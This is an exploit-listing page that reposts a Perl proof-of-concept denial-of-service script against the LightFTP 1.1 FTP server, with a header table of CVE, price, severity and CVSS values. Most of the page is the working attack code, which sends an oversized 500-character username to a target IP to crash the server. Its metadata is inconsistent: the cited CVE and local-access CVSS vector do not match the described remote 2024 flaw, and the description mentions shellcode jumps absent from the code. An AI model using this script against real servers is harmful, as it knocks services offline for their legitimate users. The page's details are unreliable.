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LightFTP 1.1 - Denial of Service (DoS)

CVE Category Price Severity
CVE-2006-5727 CWE-400 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2024-01-17
CVSS
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010059

Below is a copy:

LightFTP 1.1 - Denial of Service (DoS)
#!/usr/bin/perl


use Net::FTP;

# Exploit Title: LightFTP 1.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 15 january 2024
# Vendor Homepage:  N/A
# Notification vendor: No reported
# Tested Version: LightFTP 1.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the FTP server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41"x500;    

    my $ftp = Net::FTP->new($ip, Debug => 0) or die "No foi possvel se conectar ao servidor: $@";

    $ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";              

    $ftp->quit;

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {

                            ,--,
                     _ ___/ /\|
                 ,;'( )__, )  ~
                //  //   '--; 
                '   \     | ^
                     ^    ^

    [+] LightFTP 1.1 - Denial of Service (DoS)

    [*] Coded by Fernando Mengali

    [@] e-mail: [email protected]

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated

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